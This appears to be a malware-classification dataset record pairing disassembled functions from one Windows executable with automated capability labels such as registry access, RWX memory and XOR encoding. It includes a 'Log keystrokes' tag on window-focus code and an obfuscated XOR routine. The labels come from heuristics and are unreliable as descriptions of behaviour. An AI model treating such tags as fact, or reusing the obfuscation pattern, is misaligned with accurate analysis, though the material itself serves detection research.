joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404511
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x4114b2
call fcn.0040e267
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
push 0x60
push ebx
push esi
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x40458e
push 2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x40458e
call fcn.00403941
mov esi, eax
jmp 0x404665
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x4045b1
call fcn.00403941
jmp 0x404658
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x4045a7
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x420], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x4045e1
mov esi, 0x8007000e
jmp 0x40465a
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.00403767
jmp 0x404607
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x4045da
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x41c]
push ebx
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x4045a7
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x430]
push dword [ebp - 0x418]
call fcn.004043d7
mov esi, eax
test edi, edi
je 0x404665
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x40467e
lea ecx, [ebp - 0x418]
call fcn.00403c02
lea ecx, [ebp - 0x428]
call fcn.0040303d
mov eax, esi
call fcn.0040e1b8
ret 0x10
Function at 0x404dfb
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, ecx
test edx, edx
jne 0x404e0e
push 0xd
pop eax
jmp 0x404e52
push esi
xor eax, eax
push edi
mov dword [ebp + 0xc], eax
mov esi, eax
mov edi, edx
mov ecx, edi
lea eax, [ecx + 2]
mov dword [ebp - 4], eax
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp + 0xc]
jne 0x404e21
sub ecx, dword [ebp - 4]
sar ecx, 1
inc ecx
lea edi, [edi + ecx*2]
lea esi, [esi + ecx*2]
cmp ecx, 1
jne 0x404e19
push esi
push edx
push 7
xor eax, eax
push eax
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x404e59
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push esi
mov esi, ecx
test edx, edx
jne 0x404e6b
push 0xd
pop eax
jmp 0x404e9d
mov ecx, edx
push ebx
push edi
xor ebx, ebx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x404e74
sub ecx, edi
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edx
push dword [ebp + 0x10]
push ebx
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop ebx
pop esi
pop ebp
ret 0xc
Function at 0x408c0c
Capabilities:
Log keystrokes

Disassembly:
push 0x20
mov eax, 0x4118e6
call fcn.0040e1f9
mov esi, ecx
push str.Firstrun:_Rendering_initial_view.
lea ecx, [ebp - 0x28]
call fcn.00401522
lea eax, [ebp - 0x28]
push eax
push 2
call sub.Mso20Win32Client.dll_Ordinal_69
xor ebx, ebx
lea ecx, [ebp - 0x28]
push ebx
push 1
call fcn.00402942
cmp dword [esi + 0x14c], ebx
jne 0x408c60
mov ecx, esi
call fcn.00408dd8
push 1
push dword [0x41c2a8]
call sub.Mso20Win32Client.dll_Ordinal_906
jmp 0x408d6b
cmp byte [esi + 0x151], bl
je 0x408cd2
mov byte [esi + 0x161], 1
cmp dword [esi + 0x164], ebx
jne 0x408cc2
push 0x354
call fcn.00401687
pop ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 4], ebx
test eax, eax
je 0x408ca1
push dword [esi + 4]
lea ecx, [esi + 0x64]
push ecx
push dword [esi + 0x5c]
mov ecx, eax
call fcn.0040a1cf
mov edi, eax
jmp 0x408ca3
mov edi, ebx
or dword [ebp - 4], 0xffffffff
mov ecx, dword [esi + 0x164]
test ecx, ecx
je 0x408cbc
mov dword [esi + 0x164], ebx
call fcn.0040b0db
mov dword [esi + 0x164], edi
mov ecx, dword [esi + 0x164]
call fcn.0040b3ec
jmp 0x408d6b
cmp byte [esi + 0x152], bl
je 0x408d64
cmp dword [esi + 0x168], ebx
jne 0x408d35
push 0x14
call fcn.00401687
pop ecx
mov ecx, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], 1
test ecx, ecx
je 0x408d14
push dword [esi + 0x58]
lea eax, [esi + 0x64]
push dword [esi + 4]
push eax
push dword [esi + 0x5c]
call fcn.0040bf3e
mov edi, eax
jmp 0x408d16
mov edi, ebx
or dword [ebp - 4], 0xffffffff
mov ecx, dword [esi + 0x168]
test ecx, ecx
je 0x408d2f
mov dword [esi + 0x168], ebx
call fcn.0040c3e8
mov dword [esi + 0x168], edi
cmp byte [esi + 0x153], 0
mov ecx, dword [esi + 0x168]
jne 0x408d5d
mov byte [esi + 0x161], 1
call fcn.0040caa9
mov ecx, dword [esi + 0x168]
call fcn.0040cbbe
jmp 0x408d6b
call fcn.0040cc47
jmp 0x408d6b
mov ecx, esi
call fcn.00408e5f
mov eax, dword [esi + 0x5c]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x58]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x408dd2
push 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetForegroundWindow]
call ebx
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call edi
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
push eax
call esi
mov ecx, dword [ebp - 0x2c]
push ecx
mov eax, dword [ecx]
call dword [eax + 0x3c]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, dword [ebp - 0x2c]
push ecx
mov eax, dword [ecx]
call dword [eax + 0x3c]
push eax
call dword [sym.imp.USER32.dll_BringWindowToTop]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0
call ebx
push eax
call edi
push eax
call esi
call fcn.0040e1ab
ret

Function at 0x4092fc
Capabilities:
Log keystrokes

Disassembly:
mov byte [ecx + 0x161], 0
mov byte [ecx + 0x152], 0
jmp fcn.00408c0c
Function at 0x40d49a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
push ebx
mov ebx, 0xbb40e64e
cmp dword [0x4175f4], eax
je 0x40d4bc
cmp dword [0x4175f4], ebx
jne 0x40d550
push edi
push eax
push eax
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov edi, dword [ebp - 8]
xor edi, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x14]
xor edi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push 0x4175f4
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
test edi, edi
push eax
push dword [ebp - 4]
cmovne ebx, edi
mov edi, 0x4175f4
push 4
push edi
mov dword [0x4175f4], ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 4
push edi
call sub.KERNEL32.dll_WerRegisterMemoryBlock
mov eax, dword [0x4175f4]
not eax
mov dword [0x41c408], eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d605
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp byte [0x41ce08], 0
je 0x40d61d
mov eax, dword [0x41ce0c]
jmp 0x40d6ed
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push str.SoftwarePoliciesMicrosoftSecurity
push SysReAllocString
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40d66c
lea eax, [ebp - 8]
mov dword [ebp - 8], 4
push eax
push 0x41ce0c
push esi
push esi
push dword [0x41c40c]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40d66c
cmp dword [ebp - 8], 4
je 0x40d6c6
mov eax, dword [ebp - 4]
mov dword [ebp - 4], esi
test eax, eax
je 0x40d67d
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push str.SoftwareMicrosoftSecurity
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40d6ce
lea eax, [ebp - 8]
mov dword [ebp - 8], 4
push eax
push 0x41ce0c
push esi
push esi
push dword [0x41c40c]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40d6ce
cmp dword [ebp - 8], 4
jne 0x40d6ce
mov esi, dword [0x41ce0c]
jmp 0x40d6d4
mov dword [0x41ce0c], esi
cmp dword [ebp - 4], 0
mov byte [0x41ce08], 1
je 0x40d6ea
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40d6f1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 8]
push eax
push 0x20019
xor ebx, ebx
push ebx
push str.CLSID
push SysReAllocString
mov dword [ebp - 8], ebx
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40d783
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push 0x20019
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
call edi
test eax, eax
jne 0x40d779
push 4
pop edi
lea eax, [ebp + 8]
mov dword [ebp + 8], edi
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push 0x41760c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40d779
cmp dword [ebp + 8], edi
jne 0x40d779
mov edi, dword [ebp - 0xc]
cmp edi, 3
ja 0x40d779
cmp dword [ebp - 4], ebx
je 0x40d785
push dword [ebp - 4]
call esi
jmp 0x40d785
cmp dword [ebp - 4], ebx
je 0x40d783
push dword [ebp - 4]
call esi
mov edi, ebx
cmp dword [ebp - 8], ebx
je 0x40d78f
push dword [ebp - 8]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40df15
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x419fa0
call fcn.0040e9be
push 1
call fcn.0040df98
pop ecx
test al, al
jne 0x40ddbe
push 7
call fcn.0040e789
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.0040df63
mov byte [ebp - 0x24], al
mov eax, dword [0x41ce10]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x40ddb7
test eax, eax
jne 0x40de28
mov dword [0x41ce10], ecx
push 0x4132e0
push 0x4132c8
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40de0b
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40df0f
push 0x4132c4
push 0x4132a0
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x41ce10], 2
jmp 0x40de2d
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0040e0f5
pop ecx
call fcn.0040e77d
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x40de5d
push esi
call fcn.0040e068
pop ecx
test al, al
je 0x40de5d
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.0040e9b8
call esi
call fcn.0040e783
mov esi, eax
cmp dword [esi], edi
je 0x40de7b
push esi
call fcn.0040e068
pop ecx
test al, al
je 0x40de7b
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
push edi
call sub.VCRUNTIME140.dll___telemetry_main_invoke_trigger
pop ecx
call fcn.0040e89e
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_wide_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
push edi
call sub.VCRUNTIME140.dll___telemetry_main_return_trigger
pop ecx
call fcn.0040e8d1
test al, al
jne 0x40deb4
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x40debd
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.0040e112
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x40df0f
call fcn.0040ea04
ret
call fcn.0040d49a
jmp 0x40dd9f

Function at 0x40ef5e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4175f4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x210]
push edi
mov edi, dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], 0x208
push eax
push 0
push 2
push esi
push str.SoftwareMicrosoftOffice16.0CommonFilesPaths
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x40efc7
cmp dword [ebp - 0x210], 4
jb 0x40efc7
test edi, edi
lea eax, [ebp - 0x20c]
cmovne esi, edi
push esi
push eax
call fcn.0040f081
jmp 0x40efc9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040d48d
mov esp, ebp
pop ebp
ret 8
Function at 0x40efdb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4175f4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], 0x208
push eax
push 0
push 2
push str.CommonFilesDir
push str.SoftwareMicrosoftWindowsCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x40f06e
mov ecx, dword [ebp - 0x210]
cmp ecx, 4
jb 0x40f06e
shr ecx, 1
push 0xffffffffffffffff
cmp word [ebp + ecx*2 - 0x210], 0x5c
sete al
lea eax, [eax*2 + str.Microsoft_SharedOffice16_]
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat_s]
add esp, 0x10
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040f081
jmp 0x40f070
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040d48d
mov esp, ebp
pop ebp
ret 4

Function at 0x40fc5b
Capabilities:
Enumerate process modules

Disassembly:
push 0x3a0
mov eax, 0x411e5b
call fcn.0040e1f9
mov ebx, dword [ebp + 8]
mov ecx, ebx
call fcn.00406413
xor eax, eax
mov dword [ebp - 0x39c], 0x1000
mov esi, 0x400
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], eax
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 4], eax
push esi
lea ecx, [ebp - 0x3a8]
call fcn.0040fe5f
mov ecx, dword [ebp - 0x3a8]
lea eax, [ebp - 0x39c]
mov edi, dword [ebp - 0x3a4]
sub edi, ecx
push eax
sar edi, 2
mov eax, edi
shl eax, 2
push eax
push ecx
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
je 0x40fd16
mov esi, dword [ebp - 0x39c]
shr esi, 2
cmp edi, esi
jb 0x40fc9a
test esi, esi
je 0x40fd03
mov edi, dword [ebp - 0x3a8]
dec esi
mov ecx, ebx
mov eax, dword [edi + esi*4]
mov dword [ebp - 0x3ac], eax
lea eax, [ebp - 0x3ac]
push eax
push dword [ebx]
call fcn.0040fc06
test esi, esi
jne 0x40fce5
lea ecx, [ebp - 0x3a8]
call fcn.0040fe3b
call fcn.0040e1ab
ret 4
push str.::EnumProcesses___failed_to_enumerate_the_list_of_process_current_running
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xf
lea ecx, [ebp - 0x398]
call fcn.0040fa85
push 0x419b08
lea eax, [ebp - 0x398]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x410764
Capabilities:
Link many functions at runtime
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4175f4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x20c]
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x208
push esi
push 0
push eax
mov dword [ebp - 0x214], 1
call sub.VCRUNTIME140.dll_memset
mov edx, 0x41d210
mov dword [ebp - 0x210], esi
add esp, 0xc
mov eax, edx
xor ecx, ecx
cmp dword [eax], 0
je 0x4107c5
add eax, 0x14
inc ecx
cmp eax, 0x41d238
jl 0x4107b0
jmp 0x41091c
imul esi, ecx, 0x14
add esi, edx
je 0x41091c
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x410900
cmp dword [ebp - 0x214], 1
jne 0x410900
cmp word [ebp - 0x20c], ax
je 0x410900
mov eax, dword [ebp - 0x210]
test eax, eax
je 0x410900
shr eax, 1
mov dword [ebp - 0x210], eax
cmp eax, 0x104
jae 0x410847
add eax, eax
cmp eax, 0x208
jae 0x41092f
xor ecx, ecx
mov word [ebp + eax - 0x20c], cx
jmp 0x41084d
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0x20c]
push eax
call fcn.00410cc5
mov dword [esi], eax
test eax, eax
je 0x410900
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str._GetPerfhostHookVersion_0
push eax
call edi
test eax, eax
jne 0x41087a
mov eax, dword [ebp + 0x10]
jmp 0x41087c
call eax
mov dword [esi + 4], eax
cmp eax, 1
jne 0x4108a0
push str._InitPerf_4
push dword [esi]
call edi
push str._PerfCodeMarker_12
push dword [esi]
mov dword [esi + 8], eax
call edi
push str._UnInitPerf_4
jmp 0x4108d4
cmp eax, 2
jne 0x4108b5
push str._InitPerf_4
push dword [esi]
call edi
push str._PerfCodeMarker_8
jmp 0x410892
cmp eax, 3
jne 0x4108de
push str._InitPerf_v3_4
push dword [esi]
call edi
push str._PerfCodeMarker_v3_8
push dword [esi]
mov dword [esi + 8], eax
call edi
push str._UnInitPerf_v3_4
push dword [esi]
mov dword [esi + 0x10], eax
call edi
mov dword [esi + 0xc], eax
cmp dword [esi + 8], 0
je 0x410900
cmp dword [esi + 0x10], 0
je 0x410900
cmp dword [esi + 0xc], 0
je 0x410900
push dword [0x41d240]
push esi
call fcn.0041072b
test eax, eax
jns 0x41091c
cmp dword [esi], 0
je 0x41090d
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
and dword [esi], 0
and dword [esi + 8], 0
and dword [esi + 0xc], 0
and dword [esi + 0x10], 0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d48d
mov esp, ebp
pop ebp
ret 0xc
call fcn.0040e3e1
int3
Function at 0x404300
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ecx
and dword [ecx + 0x28], 0
lea eax, [ecx + 0xc]
push eax
push 0
push dword [ecx + 0x24]
push dword [ecx + 0x20]
push dword [ecx + 8]
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_ReadFile]
test eax, eax
jne 0x404360
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
cmp eax, 0x3e5
je 0x404360
cmp eax, 0xea
je 0x404360
mov ecx, dword [section..data]
cmp ecx, section..data
je 0x40435c
test byte [ecx + 0x1c], 1
je 0x40435c
push eax
push dword [ecx + 0x14]
mov edx, 0x401698
push dword [ecx + 0x10]
push 0x1e
pop ecx
call fcn.00402dc0
xor al, al
pop ecx
ret
mov al, 1
pop ecx
ret
Function at 0x40489b
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov edx, ecx
push edi
mov dword [ebp - 4], edx
mov eax, dword [section..data]
mov edi, dword [ebp + 0xc]
cmp eax, section..data
je 0x4048d8
test byte [eax + 0x1c], 2
je 0x4048d8
push edi
push edx
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0x2f
pop ecx
call fcn.00403a33
mov eax, dword [section..data]
mov edx, dword [ebp - 4]
cmp edi, 0x28
jae 0x404912
mov ebx, 0x401698
cmp eax, section..data
je 0x404905
test byte [eax + 0x1c], 1
je 0x404905
push edi
push dword [eax + 0x14]
mov edx, ebx
push dword [eax + 0x10]
push 0x30
pop ecx
call fcn.00402dc0
mov eax, dword [section..data]
mov edi, dword [ebp - 4]
mov esi, 0x80070057
jmp 0x404a4a
mov ecx, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ecx], edi
mov eax, dword [edx + 4]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
push eax
push ebx
push edi
push ecx
push dword [edx + 8]
mov dword [ebp - 0xc], ebx
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_WriteFile]
mov ebx, 0x401698
test eax, eax
jne 0x4049f3
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
cmp eax, 0x3e5
je 0x4049a1
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x40496c
movzx esi, si
or esi, 0x80070000
mov eax, dword [section..data]
cmp eax, section..data
je 0x404994
test byte [eax + 0x1c], 1
je 0x404994
push esi
push dword [eax + 0x14]
mov edx, ebx
push dword [eax + 0x10]
push 0x31
pop ecx
call fcn.00402dc0
mov eax, dword [section..data]
mov edi, dword [ebp - 4]
test esi, esi
js 0x404a4a
jmp 0x4049f6
mov edi, dword [ebp - 4]
push 0xffffffffffffffff
push dword [edi + 4]
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x4049f6
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4049c9
movzx esi, si
or esi, 0x80070000
mov eax, dword [section..data]
cmp eax, section..data
je 0x404997
test byte [eax + 0x1c], 1
je 0x404997
push esi
push dword [eax + 0x14]
mov edx, ebx
push dword [eax + 0x10]
push 0x32
pop ecx
call fcn.00402dc0
mov eax, dword [section..data]
jmp 0x404997
mov edi, dword [ebp - 4]
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [edi + 8]
call dword [sym.imp.api_ms_win_core_io_l1_1_0.dll_GetOverlappedResult]
test eax, eax
jne 0x404a45
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x404a22
movzx esi, si
or esi, 0x80070000
mov eax, dword [section..data]
cmp eax, section..data
je 0x404a69
test byte [eax + 0x1c], 1
je 0x404a4a
push esi
push dword [eax + 0x14]
mov edx, ebx
push dword [eax + 0x10]
push 0x33
pop ecx
call fcn.00402dc0
mov eax, dword [section..data]
cmp eax, section..data
je 0x404a69
test byte [eax + 0x1c], 2
je 0x404a69
push esi
push edi
push dword [eax + 0x14]
mov edx, ebx
push dword [eax + 0x10]
push 0x34
pop ecx
call fcn.00403b31
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8
Function at 0x4075e1
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
cmp edx, esi
je 0x40761e
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [edx + 0xc]
jb 0x407617
mov eax, dword [edx + 8]
add eax, dword [edx + 0xc]
cmp ecx, eax
jb 0x407623
add edx, 0x28
cmp edx, esi
jne 0x407608
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x407620

Function at 0x40e1c7
Capabilities:
Encode data using xor

Disassembly:
call 0x40e140
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x40e170
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x40e18c
xor edx, 0
jmp 0x40e197
xor edx, edx
jmp 0x40e1ae
jmp 0x40e1ba
xor eax, eax
push 0x8427d7c0
call 0x40e1c7
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x40e203
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x40e1dc
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x40e21a
add eax, 0
jno 0x40e21f
add esi, 0
ret 0x10